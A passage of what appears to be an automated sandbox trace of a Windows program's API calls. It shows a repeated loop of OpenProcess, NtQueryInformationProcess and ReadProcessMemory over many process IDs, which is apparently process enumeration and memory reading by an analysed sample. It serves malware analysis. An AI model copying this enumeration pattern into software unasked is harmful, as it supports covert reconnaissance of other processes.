lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.831] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.832] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.832] malloc (_Size=0x8e) returned 0xec7160 [0353.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec7160, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7160*, lpNumberOfBytesRead=0x0) returned 1 [0353.833] free (_Block=0xec7160) [0353.837] CloseHandle (hObject=0xa9c) returned 1 [0353.837] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0353.838] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0353.838] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.838] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.839] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0353.839] GetLastError () returned 0x0 [0353.839] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.839] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.840] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.840] malloc (_Size=0x66) returned 0xeb63f0 [0353.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb63f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0353.841] free (_Block=0xeb63f0) [0353.841] CloseHandle (hObject=0xa9c) returned 1 [0353.842] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0353.842] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0353.842] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.842] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.843] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0353.843] GetLastError () returned 0x0 [0353.843] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.843] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.843] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.844] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.844] malloc (_Size=0xa2) returned 0xe95c60 [0353.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe95c60, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95c60*, lpNumberOfBytesRead=0x0) returned 1 [0353.845] free (_Block=0xe95c60) [0353.845] CloseHandle (hObject=0xa9c) returned 1 [0353.846] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0353.846] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0353.846] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.846] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.847] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0353.847] GetLastError () returned 0x0 [0353.847] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.847] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.848] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.848] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.848] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.848] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.848] malloc (_Size=0x6a) returned 0xea94a0 [0353.848] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea94a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.849] free (_Block=0xea94a0) [0353.854] CloseHandle (hObject=0xa9c) returned 1 [0353.855] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0353.855] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0353.855] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.855] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.856] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0353.856] GetLastError () returned 0x0 [0353.856] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.857] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.857] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.857] malloc (_Size=0x72) returned 0xea8d20 [0353.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea8d20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0353.858] free (_Block=0xea8d20) [0353.858] CloseHandle (hObject=0xa9c) returned 1 [0353.858] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0353.859] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0353.859] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.859] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.860] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0353.860] GetLastError () returned 0x0 [0353.860] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.860] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.861] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.861] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.861] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.861] malloc (_Size=0x74) returned 0xea8da0 [0353.861] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea8da0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0353.862] free (_Block=0xea8da0) [0353.862] CloseHandle (hObject=0xa9c) returned 1 [0353.862] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0353.863] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0353.863] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.863] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.864] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0353.864] GetLastError () returned 0x0 [0353.864] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.865] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.865] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.865] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.865] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.865] malloc (_Size=0x66) returned 0xeb6380 [0353.865] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0353.869] free (_Block=0xeb6380) [0353.870] CloseHandle (hObject=0xa9c) returned 1 [0353.870] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0353.870] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0353.870] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.870] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.871] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0353.871] GetLastError () returned 0x0 [0353.871] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.871] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.871] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.871] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.872] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.872] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.872] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.872] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.872] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.872] malloc (_Size=0x84) returned 0xe87b80 [0353.872] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe87b80, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87b80*, lpNumberOfBytesRead=0x0) returned 1 [0353.873] free (_Block=0xe87b80) [0353.873] CloseHandle (hObject=0xa9c) returned 1 [0353.908] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0353.909] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0353.909] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.909] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.910] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0353.911] GetLastError () returned 0x0 [0353.911] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.911] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, 